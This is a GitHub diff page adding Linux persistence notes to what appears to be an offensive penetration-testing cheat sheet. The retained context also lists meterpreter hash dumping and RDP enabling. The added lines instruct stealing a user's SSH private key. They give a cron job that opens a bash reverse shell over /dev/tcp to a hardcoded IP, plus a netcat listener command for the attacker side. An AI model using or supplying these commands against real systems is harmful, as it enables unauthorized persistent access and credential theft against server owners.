File tree Expand file tree Collapse file tree 1 file changed +23
-0
lines changed
Expand file tree Collapse file tree 1 file changed +23
-0
lines changed Original file line number Diff line number Diff line change @@ -5,3 +5,26 @@ exploit/windows/local/persistence_service (This Module will generate and upload
55hashdump ( meterpreter command to dump hashes to use with legitimate authentication attempts)
66
77getgui is a nice easy meterpreter command to enable RDP
8+
9+
10+ ** linux**
11+
12+ persistence via SSH. Most linux servers are configured for remote administration through SSH, etc
13+
14+ You will want to:
15+
16+ - steal ~ /.ssh/id_rsa
17+ - chmod 400 id_rsa
18+ 19+
20+ cat /etc/cron (views all cronjobs)
21+
22+ To manually establish persistence through cron, do the following:
23+
24+ - echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/192.165.88.2/1337 0>&1'" > cron
25+ - crontab -i cron
26+ - crontab -l
27+
28+ then on your attacker machine:
29+
30+ - nc -nvlp 1337
You can’t perform that action at this time.
0 commit comments